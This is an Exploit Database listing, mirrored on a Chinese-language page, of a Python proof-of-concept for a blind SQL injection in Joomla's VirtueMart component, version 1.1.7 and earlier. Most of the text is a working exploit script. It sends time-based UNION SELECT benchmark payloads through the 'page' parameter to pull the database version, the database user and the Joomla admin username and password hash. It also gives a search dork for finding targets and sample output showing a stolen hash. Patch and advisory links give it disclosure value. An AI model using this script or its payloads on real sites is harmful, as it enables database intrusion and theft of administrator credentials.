Joomla! Component com_virtuemart 1.1.7 – Blind SQL Injection

• Exploit Database
• 103 阅读

• 作者： TecR0c & mr_me
  日期： 2011-04-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17132/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207

  #!/usr/bin/python # # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit. # Found by: TecR0c & mr_me # Discovery date: 11/2/2011 # Code by: mr_me # Vendor: http://virtuemart.net/ # Download: http://virtuemart.net/downloads # Dork: inurl:"?option=com_virtuemart" > 46 million results # Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip # References: # - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003) # - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18 # # "The more you educate yourself the more you understand where things come from the more obvious things become # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free." # - zeitgeist addendum # # Description: # ============ # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online # and drive your Business to new Heights. Despite being Open Source Software it powers large # Online Shops providing the Performance, Usability and Security you expect from professional Software. # # Explantation: # ============= # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component. # Because of the fact that Joomla core filters &apos;<&apos; or &apos;>&apos; characters, we can only use &apos;=&apos; to test for true/false # statements. This of course will send an enormous number of queries the target. During testing, 9145 # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the # timings of benchmark and time to last byte (ttlb). # # Tested on Joomla v1.5.22 with virtuemart: # ========== # - v1.1.7 # - v1.1.6 # - v1.1.4 # # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/ # # | ------------------------------------------------------------------- | # | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit | # | by mr_me - net-ninja.net ------------------------------------------ | # # (+) PoC started on Sat Feb 12 17:26:15 2011 # (+) Exploiting target @: http://192.168.1.7/webapps/joomla/ # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using time based SQL Injection. # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.9 # (!) Getting database user: root@localhost # (!) Getting database name: joomla # (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR # (+) PoC finished on Sat Feb 12 18:38:05 2011 #   import sys, urllib, urllib2, re, time from optparse import OptionParser   # just printable ascii please lower_value = 32 upper_value = 126   vuluri = "index.php?option=com_virtuemart&page%3d-1" basicInfo = {&apos;version&apos;:&apos;@@version&apos;, &apos;user&apos;:&apos;user()&apos;, &apos;name&apos;:&apos;database()&apos;}   usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"   parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS")   (options, args) = parser.parse_args()   def banner(): print "\n\t| ------------------------------------------------------------------- |" print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |" print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"   if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1)   def timer(): now = time.localtime(time.time()) return time.asctime(now)   def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def getServerResponse(exploit): try: uri = "http://"+options.target+options.directory+exploit request = urllib2.Request(uri) if options.proxy: request.set_proxy(options.proxy, "http") start = time.time() resp = urllib2.urlopen(request) check = resp.read() ttlb = time.time() - start except urllib.error.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) return check, ttlb   def getBasicDbInfo(basicInfo, key, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "&apos;+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5(&apos;x&apos;)),NULL)--+junk.page" % (basicInfo[key],str(i),str(j))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break     def getJosUser(selectStmt, limit): for i in range(1,limit): for j in range(lower_value,upper_value): request = (vuluri + "&apos;+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5(&apos;x&apos;)),NULL)--+junk.page" % (selectStmt,str(i),str(j)))   resp, ttlb = getServerResponse(request) if ttlb >= 3.5: sys.stdout.write("%s" % (chr(j))) sys.stdout.flush() break   def doBlindSqlInjection(): print "(+) Using time based SQL Injection." print "(+) This will take time, go grab a coffee.."   for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() for i in range(1,50): request = (vuluri + "&apos;+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5(&apos;x&apos;)),NULL)--+junk.page" % (basicInfo[key],str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break   getBasicDbInfo(basicInfo, key, i+1)   sys.stdout.write("\n(!) Getting Joomla admin: ") sys.stdout.flush()   for i in range(1,100): lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)" request = (vuluri + "&apos;+union+select+if(%s=%s,BENCHMARK(5000000,MD5(&apos;x&apos;)),NULL)--+junk.page" % (lengthOfAdminString,str(i))) try: resp, ttlb = getServerResponse(request) except: print "\n(-) Exiting.." sys.exit(1) if ttlb >= 3.5: break getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)" getJosUser(getJosStmt, i+1)   if __name__ == "__main__": banner() print "(+) PoC started on %s" % (timer()) print "(+) Exploiting target @: http://%s" % (options.target+options.directory) if options.proxy: testProxy() doBlindSqlInjection() print "\n(+) PoC finished on %s" % (timer())